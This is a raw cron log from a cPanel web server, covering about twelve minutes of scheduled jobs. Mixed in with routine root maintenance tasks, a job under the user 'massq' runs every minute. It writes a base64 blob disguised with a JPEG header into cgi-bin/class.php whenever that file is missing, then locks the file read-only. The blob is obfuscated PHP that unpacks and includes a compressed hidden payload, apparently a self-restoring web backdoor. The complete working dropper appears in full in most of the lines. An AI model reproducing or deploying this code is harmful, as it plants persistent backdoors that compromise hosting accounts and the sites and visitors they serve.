Sep  2 01:48:01 server CROND[14925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:48:01 server CROND[14926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:49:01 server CROND[15306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:49:01 server CROND[15307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:49:01 server CROND[15308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:50:01 server CROND[15787]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:50:01 server CROND[15790]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:50:01 server CROND[15791]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:50:01 server CROND[15792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:50:01 server CROND[15793]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:50:01 server CROND[15795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:50:01 server CROND[15794]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 01:50:01 server CROND[15796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:50:01 server CROND[15799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:51:01 server CROND[16640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:51:01 server CROND[16641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:51:01 server CROND[16649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:52:01 server CROND[17010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:52:01 server CROND[17011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:52:01 server CROND[17013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:53:01 server CROND[17386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:53:01 server CROND[17387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:53:01 server CROND[17388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:54:01 server CROND[17749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:54:01 server CROND[17750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:54:01 server CROND[17751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:55:01 server CROND[18231]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:55:01 server CROND[18232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:55:01 server CROND[18238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:55:01 server CROND[18237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:55:01 server CROND[18234]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:55:01 server CROND[18236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:55:01 server CROND[18235]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:56:01 server CROND[19064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:56:01 server CROND[19065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:56:01 server CROND[19066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:57:01 server CROND[19441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:57:01 server CROND[19443]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 01:57:01 server CROND[19442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:57:01 server CROND[19444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:58:01 server CROND[19864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:58:01 server CROND[19865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:58:01 server CROND[19866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:59:01 server CROND[20239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:59:01 server CROND[20240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:59:01 server CROND[20241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
